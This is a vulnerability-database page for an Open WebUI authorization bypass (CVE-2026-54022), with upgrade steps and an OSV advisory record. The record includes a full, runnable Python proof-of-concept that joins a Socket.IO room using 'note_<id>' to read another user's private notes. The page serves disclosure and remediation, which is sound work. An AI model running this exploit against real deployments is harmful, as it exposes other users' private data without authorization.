CVE-2026-54022: Open WebUI Any Authenticated User Can Read Vulnerability
MODERATECVE-2026-54022 is a MODERATE (CVSS 5.3) any authenticated user can read vulnerability (CWE-706: Use of Incorrectly-Resolved Name or Reference) affecting Open WebUI libraries in the PyPI ecosystem. The issue involves any authenticated user can read other users' private notes via socket.io. Remediation is available by upgrading affected packages to version 0.8.11.
CVE-2026-54022 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-54022
To remediate this vulnerability, upgrade all affected Open WebUI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.8.11
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54022, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open WebUI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.11), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-706: Use of Incorrectly-Resolved Name or Reference, where the product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere. In Open WebUI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54022 Affected Open WebUI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.8.11
|
0.8.11
|
References
Frequently Asked Questions
What is CVE-2026-54022?
Which Open WebUI versions are affected?
What version fixes CVE-2026-54022?
Is open-webui affected?
What is the CVSS score of CVE-2026-54022?
What CWE is associated with CVE-2026-54022?
How can I check PyPI dependencies for CVE-2026-54022?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8788-j68r-3cgh",
"modified" : "2026-07-20T21:08:53Z",
"published" : "2026-06-17T18:05:21Z",
"aliases" : [ "CVE-2026-54022" ],
"summary" : "Open WebUI: Any authenticated user can read other users' private notes via Socket.IO",
"details" : "### Summary\n\nThe `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(\":\", \"_\")`). An attacker can join a document room using `note_<id>` (underscore) instead of `note:<id>` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.\n\n### Details\n\nThe `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix:\n\n```python\n@sio.on(\"ydoc:document:join\")\nasync def ydoc_document_join(sid, data):\n document_id = data[\"document_id\"]\n\n if document_id.startswith(\"note:\"):\n note_id = document_id.split(\":\")[1]\n note = Notes.get_note_by_id(note_id)\n # ... ownership and AccessGrants check ...\n # Returns early if user doesn't have access\n\n # If document_id does NOT start with \"note:\", execution continues\n # with no authorization check at all\n\n await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)\n await sio.enter_room(sid, f\"doc_{document_id}\")\n\n ydoc = Y.Doc()\n updates = await YDOC_MANAGER.get_updates(document_id)\n for update in updates:\n ydoc.apply_update(bytes(update))\n\n state_update = ydoc.get_update()\n await sio.emit(\"ydoc:document:state\", {\n \"document_id\": document_id,\n \"state\": list(state_update),\n }, room=sid)\n```\n\nThe `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores:\n\n```python\nasync def get_updates(self, document_id: str) -> List[bytes]:\n document_id = document_id.replace(\":\", \"_\") # line 176\n # ... returns updates keyed by normalized ID\n\nasync def append_to_updates(self, document_id: str, update: bytes):\n document_id = document_id.replace(\":\", \"_\") # line 134\n # ... stores update keyed by normalized ID\n```\n\nThis means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith(\"note:\")` authorization check but retrieves the same data from `YdocManager`.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests --with \"python-socketio[asyncio_client]\" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS\n\nFinding #15 — Any authenticated user can read other users' private notes via Socket.IO\n\nSUMMARY:\n The ydoc:document:join Socket.IO handler only checks authorization for\n document IDs starting with \"note:\" (colon). However, YdocManager normalizes\n document IDs by replacing colons with underscores internally. An attacker\n can join a room using \"note_<id>\" (underscore) to bypass the auth check,\n while still accessing the same underlying Yjs document as \"note:<id>\".\n Then ydoc:document:state returns the full document content.\n\nVULNERABLE CODE:\n backend/open_webui/socket/main.py, ydoc:document:join:\n if document_id.startswith(\"note:\"):\n # permission check only for colon-prefix\n # \"note_<id>\" skips this check entirely\n\n backend/open_webui/socket/ydoc.py, YdocManager:\n key = document_id.replace(\":\", \"_\") # normalizes to same storage key\n\nIMPACT:\n Any authenticated user can read the full content of any other user's notes\n by exploiting the namespace collision between \"note:\" and \"note_\" prefixes.\n\nREPRODUCTION:\n 1. Victim creates a private note with sensitive content.\n 2. Attacker connects via Socket.IO and authenticates.\n 3. Attacker joins room with document_id \"note_<victim_note_id>\" (underscore).\n 4. Attacker requests ydoc:document:state to get the full note content.\n\nREQUIREMENTS:\n - Running Open WebUI instance\n - A victim note with content\n - Attacker user (any authenticated user)\n\"\"\"\n\nimport argparse\nimport asyncio\nimport sys\nimport requests\nimport socketio\n\n\nasync def victim_initialize_note(base, victim_token, note_id):\n \"\"\"Simulate victim opening the note in the UI to initialize the Yjs document.\"\"\"\n sio = socketio.AsyncClient()\n\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n headers={\"Authorization\": f\"Bearer {victim_token}\"},\n transports=[\"websocket\"],\n )\n\n # Join using the proper note:id format (passes auth check since victim owns it)\n doc_id = f\"note:{note_id}\"\n print(f\" Joining as victim with document_id: {doc_id}\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send a Yjs update with the note content\n # Create a simple Yjs document with text content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n # If pycrdt not available, try y-py\n try:\n import y_py as Y\n ydoc = Y.YDoc()\n ytext = ydoc.get_text(\"default\")\n with ydoc.begin_transaction() as txn:\n ytext.extend(txn, \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\")\n update = txn.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n print(\" WARNING: Neither pycrdt nor y-py available, sending raw text marker\")\n # Send a minimal marker that we can detect\n raw_update = list(b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00SECRET_NOTE_CONTENT_MARKER\")\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": raw_update,\n })\n\n await asyncio.sleep(1)\n await sio.disconnect()\n print(f\" Victim disconnected\")\n\n\nasync def exploit(base, attacker_token, victim_note_id):\n sio = socketio.AsyncClient()\n result = {\"state\": None, \"error\": None, \"joined\": False}\n\n @sio.on(\"ydoc:document:state\")\n async def on_state(data):\n result[\"state\"] = data\n print(f\" [!] Received ydoc:document:state event!\")\n print(f\" document_id: {data.get('document_id', '?')}\")\n state = data.get(\"state\", [])\n print(f\" State size: {len(state)} bytes\")\n\n @sio.on(\"error\")\n async def on_error(data):\n result[\"error\"] = data\n print(f\" [!] Error event: {data}\")\n\n @sio.on(\"*\")\n async def catch_all(event, data):\n if event not in (\"ydoc:document:state\", \"error\"):\n print(f\" [debug] Event: {event} Data: {str(data)[:200]}\")\n\n # Connect with auth token\n print(f\"[*] Connecting as attacker to Socket.IO...\")\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": attacker_token},\n transports=[\"websocket\"],\n )\n\n # Join with \"note_\" prefix (underscore — bypasses auth)\n bypass_doc_id = f\"note_{victim_note_id}\"\n print(f\"\\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}\")\n print(f\" (using underscore instead of colon to skip auth check)\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": bypass_doc_id,\n \"user_id\": \"attacker\",\n \"user_name\": \"Attacker\",\n })\n\n result[\"joined\"] = True\n\n # Wait for state response (from join handler's emit)\n for _ in range(20):\n await asyncio.sleep(0.5)\n if result[\"state\"]:\n break\n\n await sio.disconnect()\n return result\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Finding #15: Yjs note disclosure via namespace collision\")\n parser.add_argument(\"--base-url\", required=True)\n parser.add_argument(\"--attacker-email\", required=True)\n parser.add_argument(\"--attacker-password\", required=True)\n parser.add_argument(\"--victim-email\", required=True)\n parser.add_argument(\"--victim-password\", required=True)\n args = parser.parse_args()\n\n base = args.base_url.rstrip(\"/\")\n\n # ── Step 1: Login as victim and find their note ──\n print(\"[*] Authenticating as victim...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.victim_email, \"password\": args.victim_password})\n if not r.ok:\n print(f\"[-] Victim login failed: {r.status_code}\")\n sys.exit(1)\n victim_token = r.json()[\"token\"]\n victim_id = r.json()[\"id\"]\n print(f\"[+] Logged in as victim (id={victim_id})\")\n\n r = requests.get(f\"{base}/api/v1/notes/\", headers={\"Authorization\": f\"Bearer {victim_token}\"})\n if not r.ok:\n print(f\"[-] Failed to list victim notes: {r.status_code}\")\n sys.exit(1)\n notes = r.json()\n if isinstance(notes, dict):\n notes = notes.get(\"items\", notes.get(\"data\", []))\n if not notes:\n print(\"[-] No victim notes found\")\n sys.exit(1)\n victim_note = notes[0]\n victim_note_id = victim_note[\"id\"]\n print(f\"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})\")\n\n # ── Step 2: Login as attacker ──\n print(f\"\\n[*] Authenticating as attacker...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n if not r.ok:\n print(f\"[-] Attacker login failed: {r.status_code}\")\n sys.exit(1)\n attacker_token = r.json()[\"token\"]\n attacker_id = r.json()[\"id\"]\n print(f\"[+] Logged in as attacker (id={attacker_id})\")\n\n # ── Step 3: Confirm attacker CANNOT read victim's note via API ──\n print(f\"\\n[*] Step 1: Confirming attacker cannot read victim's note via API...\")\n r = requests.get(f\"{base}/api/v1/notes/{victim_note_id}\",\n headers={\"Authorization\": f\"Bearer {attacker_token}\"})\n if r.status_code in (401, 403, 404):\n print(f\"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})\")\n else:\n print(f\"[!] Unexpected: attacker can read note (status {r.status_code})\")\n\n # ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──\n async def combined_exploit():\n # Victim opens note and stays connected\n print(f\"\\n[*] Step 2: Victim opens note (stays connected)...\")\n victim_sio = socketio.AsyncClient()\n await victim_sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": victim_token},\n transports=[\"websocket\"],\n )\n doc_id = f\"note:{victim_note_id}\"\n await victim_sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send Yjs update with note content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n await victim_sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update ({len(update)} bytes)\")\n except Exception as e:\n print(f\" WARNING: Could not create Yjs update: {e}\")\n\n await asyncio.sleep(1)\n\n # Now attacker joins while victim is still connected\n result = await exploit(base, attacker_token, victim_note_id)\n\n # Clean up victim connection\n await victim_sio.disconnect()\n return result\n\n result = asyncio.run(combined_exploit())\n\n if not result[\"joined\"]:\n print(f\"\\n[-] Failed to join document room\")\n sys.exit(1)\n\n if result[\"state\"]:\n state_data = result[\"state\"]\n state_bytes = bytes(state_data.get(\"state\", []))\n\n # Try to extract readable text from the Yjs state\n # Yjs binary format contains the text as embedded strings\n text_content = \"\"\n try:\n # Search for readable ASCII strings in the binary data\n current_str = \"\"\n for b in state_bytes:\n if 32 <= b < 127:\n current_str += chr(b)\n else:\n if len(current_str) > 5:\n text_content += current_str + \" \"\n current_str = \"\"\n if len(current_str) > 5:\n text_content += current_str\n except Exception:\n pass\n\n print(f\"\\n[+] Extracted text from Yjs state:\")\n print(f\" {text_content[:500]}\")\n\n # Check for sensitive markers\n sensitive_markers = [\"p@ssw0rd\", \"SuperSecret\", \"Private Notes\", \"production DB\", \"AWS root\"]\n found = [m for m in sensitive_markers if m.lower() in text_content.lower()]\n\n if found:\n print(f\"\\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!\")\n print(f\" Sensitive markers found: {found}\")\n print(f\" The attacker joined room 'doc_note_{victim_note_id}' (underscore)\")\n print(f\" which bypasses the auth check (only checks 'note:' colon prefix)\")\n print(f\" but accesses the same Yjs document due to normalization.\")\n sys.exit(0)\n elif text_content.strip():\n print(f\"\\n[+] SUCCESS: Note content retrieved (markers may differ)\")\n print(f\" Non-empty Yjs state was returned for victim's note.\")\n sys.exit(0)\n else:\n print(f\"\\n[*] Yjs state was returned but could not extract readable text.\")\n print(f\" Raw state size: {len(state_bytes)} bytes\")\n if len(state_bytes) > 10:\n print(f\" First 50 bytes: {list(state_bytes[:50])}\")\n print(f\"[+] SUCCESS: Non-trivial document state returned\")\n sys.exit(0)\n sys.exit(1)\n else:\n print(f\"\\n[-] No document state received\")\n print(f\" The Yjs document may not exist in storage yet.\")\n print(f\" Notes must be opened in the UI to create a Yjs document.\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\n\nAny authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.11"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.10"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-8788-j68r-3cgh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54022"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-8788-j68r-3cgh"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2712.yaml"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/open-webui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-706", "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-17T18:05:21Z",
"nvd_published_at" : "2026-06-23T18:18:07Z"
}
}